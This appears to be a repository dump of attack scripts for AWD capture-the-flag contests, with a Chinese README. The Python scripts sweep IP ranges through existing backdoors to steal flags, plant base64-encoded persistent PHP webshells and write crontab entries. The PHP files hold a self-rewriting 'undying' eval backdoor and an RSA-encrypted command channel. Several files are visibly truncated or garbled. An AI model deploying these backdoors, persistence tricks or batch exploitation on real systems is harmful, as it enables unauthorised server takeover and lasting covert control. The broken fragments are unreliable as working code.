├── README.md ├── awd_attack.py ├── crontab.py ├── crontab.txt ├── kill.php ├── kill_crontab.php ├── nodie.php ├── rsa_attack.py ├── rsa_client.php └── rsa_server.php /README.md: -------------------------------------------------------------------------------- 1 | # awd_attack_framework 2 | awd攻防常用脚本+不死马+crontab+防御方法 3 | ## 文件描述： 4 | awd_attack.py 5 | ------awd批量攻击主框架 6 | 利用主办方欲留后门进行攻击 7 | rsa_client.php 8 | ------rsa加密后门客户端 9 | 加密攻击的payload并发送给种植在其他队伍服务器上的rsa_server.php 10 | rsa_server.php 11 | ------rsa加密后门服务端 12 | 解密攻击payload并返回执行结果 13 | rsa_attack.py 14 | ------rsa木马测试 15 | 测试rsa客户端和服务端是否可以实现互相通信 16 | nodie.php 17 | ------不死马 18 | 主要负责写入rsa不死马 19 | crontab.py 20 | ------定时任务写入脚本 21 | crontab.txt 22 | ------定时任务要写入的内容 23 | kill_crontab.php 24 | ------清除crontab 25 | kill.php 26 | ------清除不死马 27 | 28 | -------------------------------------------------------------------------------- /awd_attack.py: -------------------------------------------------------------------------------- 1 | #coding:utf-8 2 | import requests 3 | import base64 4 | def drop_database(): 5 | pass 6 | def back_door(ip_start,ip_end,shell_addr,shell_pass,payload,method):#后门利用 7 | #?c=echo%20file_get_contents("http://172.16.0.255/flag") 8 | url = ".".join(ip_start.split(".")[0:3]) 9 | ip_start = int(ip_start.split(".")[-1]) 10 | ip_end = int(ip_end.split(".")[-1]) 11 | shell = shell_addr #后门地址 12 | passwd = shell_pass #后门密码 13 | payload = {passwd:payload} 14 | #payload = {passwd: 'curl http://172.16.0.255/flag'} 15 | #payload1 = {passwd:"echo file_get_contents(\"http://172.16.0.225:8000/flag\");"} 16 | file = open("flag.txt","w") 17 | for i in range(ip_start,ip_end): #存活ip列表 18 | #if i == 177: 19 | # continue 20 | url1 = "http://"+url + "."+str(i) + shell 21 | try: 22 | if(method=="get"): 23 | res = requests.get(url1,params=payload,timeout=1) 24 | if(method=="post"): 25 | res = requests.post(url1,data=payload,timeout=1) 26 | #print(res.text) 27 | if "flag" in res.text: 28 | #print url1 + " connect shell sucess,flag is " + res.text 29 | ip = url +"."+ str(i) 30 | flag = res.text 31 | #flag = re.findall("/(flag{.*})/",flag) 32 | print(ip+"----"+flag) 33 | file.write(ip+"----"+flag) 34 | file.write("\n") 35 | else: 36 | print(ip+"----"+"shell 404") 37 | pass 38 | except: 39 | print(url1 + " connect shell fail 404 ") 40 | pass 41 | #back_door("192.168.111.130","192.168.111.135","/back.php","c","echo file_get_contents(\"../../../../../flag\");","post") 42 | def make_sudo(ip_start,ip_end,shell_addr,shell_pass,method):#通过后门种植不死马，把维持了权限的ip写进txt 43 | ips=open("keep_continue_ip_list.txt","w") 44 | filename="c1sec1.php" 45 | f= open(filename,'r') 46 | php = f.read() 47 | print(php) 48 | php = base64.b64encode(php.encode("ascii")) 49 | php = php.decode("ascii") 50 | url = ".".join(ip_start.split(".")[0:3]) 51 | ip_start = int(ip_start.split(".")[-1]) 52 | ip_end = int(ip_end.split(".")[-1]) 53 | shell = shell_addr 54 | passwd = shell_pass 55 | if(method == "get"): 56 | data = {passwd:"file_put_contents(\".c1sec2018.php\",base64_decode(\"" + php + "\"));"} 57 | if(method == "post"): 58 | data = {passwd:"file_put_contents(\".c1sec2018.php\",base64_decode(\"" + php + "\"));"} 59 | for i in range(ip_start,ip_end): # 存活ip列表 60 | try: 61 | url1 = "http://"+url + "."+str(i) + shell 62 | print(url1) 63 | if(method == "get"): 64 | attack = requests.get(url=url1,params=data,timeout=1) 65 | if(method == "post"): 66 | attack = requests.post(url=url1,data=data,timeout=1) 67 | if(attack.status_code == 200): 68 | url1 = "http://"+url + "."+ str(i) +"/.c1sec2018.php" 69 | try: 70 | requests.get(url=url1,timeout=0.1) 71 | except: 72 | pass 73 | url1 = "http://"+url + "."+ str(i) +"/.c1sec2333.php" 74 | active = requests.post(url=url1,data={"0":"system","1":"whoami"},timeout=1) 75 | if(len(active.text)>0): 76 | print(active.text) 77 | ips.write(url+"."+str(i)+"----"+"success") 78 | ips.write("\n") 79 | print("please visit "+ url+str(i)+"/.c1sec2333.php"+" to get longer control.") 80 | else: 81 | print("sorry the file is not exit!") 82 | except: 83 | print(url1+"-----error") 84 | #make_sudo("192.168.111.130","192.168.111.135","/back.php","c","post") 85 | 86 | 87 | def make_crontab(ip_start,ip_end,shell_addr,shell_pass,method): 88 | url = ".".join(ip_start.split(".")[0:3]) 89 | ip_start = int(ip_start.split(".")[-1]) 90 | ip_end = int(ip_end.split(".")[-1]) 91 | shell = shell_addr 92 | passwd = shell_pass 93 | filename = "cr.txt" 94 | f= open(filename,"r") 95 | php = f.read() 96 | if(method == "get"): 97 | data = {passwd:php} 98 | if(method == "post"): 99 | data = {passwd:php} 100 | #print(data) 101 | for i in range(ip_start,ip_end): 102 | try: 103 | url1 = "http://"+url + "."+str(i) + shell 104 | #print(url1) 105 | if(method == "get"): 106 | attack = requests.get(url=url1,params=data,timeout=1) 107 | if(method == "post"): 108 | attack = requests.post(url=url1,data=data,timeout=1) 109 | #res = requests.post(url="http://"+url + "."+"133" + shell,data=data) 110 | #print(attack.text) 111 | if(len(attack.text)>1): 112 | print(url1+"-----------------make crontab success!") 113 | except: 114 | print(url1+"-----error") 115 | make_crontab("127.0.0.1","127.0.0.2","/back.php","c","post") 116 | 117 | -------------------------------------------------------------------------------- /crontab.py: -------------------------------------------------------------------------------- 1 | import requests 2 | def make_crontab(): 3 | shell ="/back.php" 4 | passwd = "c" 5 | filename = "exp.txt" 6 | f= open(filename,"r") 7 | php = f.read() 8 | data = {passwd:php} 9 | url1 = "http://127.0.0.1" + shell 10 | print(url1) 11 | print(data) 12 | try: 13 | attack = requests.post(url=url1,data=data,timeout=1) 14 | if(len(attack.content)>1): 15 | print(attack.content) 16 | print(url1+"-----------------make crontab success!") 17 | except: 18 | print(url1+"-----error") 19 | make_crontab() 20 | -------------------------------------------------------------------------------- /crontab.txt: -------------------------------------------------------------------------------- 1 | system('echo "* * * * * echo \" /var/www/html/.c1sec666.php\n* * * * * chmod 777 /var/www/html/.c1sec666.php" | crontab;whoami'); 2 | -------------------------------------------------------------------------------- /kill.php: -------------------------------------------------------------------------------- 1 | 4 | -------------------------------------------------------------------------------- /kill_crontab.php: -------------------------------------------------------------------------------- 1 | publicDecrypt($cmd); 30 | $res=eval($publicDecrypt);' 31 | ; 32 | while(1){ 33 | file_put_contents('.rsa_server.php',$shell); 34 | system('chmod 777 .rsa_server.php'); 35 | } 36 | ?> 37 | -------------------------------------------------------------------------------- /rsa_attack.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import base64 3 | url = "http://127.0.0.1/rsa_client.php" 4 | payload = base64.b64encode("system(\"whoami\")") 5 | res = requests.post(url=url,data={"cmd":payload}) 6 | print(res.content) 7 | 8 | -------------------------------------------------------------------------------- /rsa_client.php: -------------------------------------------------------------------------------- 1 | privEncrypt($cmd); 40 | echo $privEncrypt; 41 | } 42 | } 43 | 44 | 45 | 46 | -------------------------------------------------------------------------------- /rsa_server.php: -------------------------------------------------------------------------------- 1 | publicDecrypt($cmd); 27 | $res=eval($publicDecrypt); 28 | 29 | --------------------------------------------------------------------------------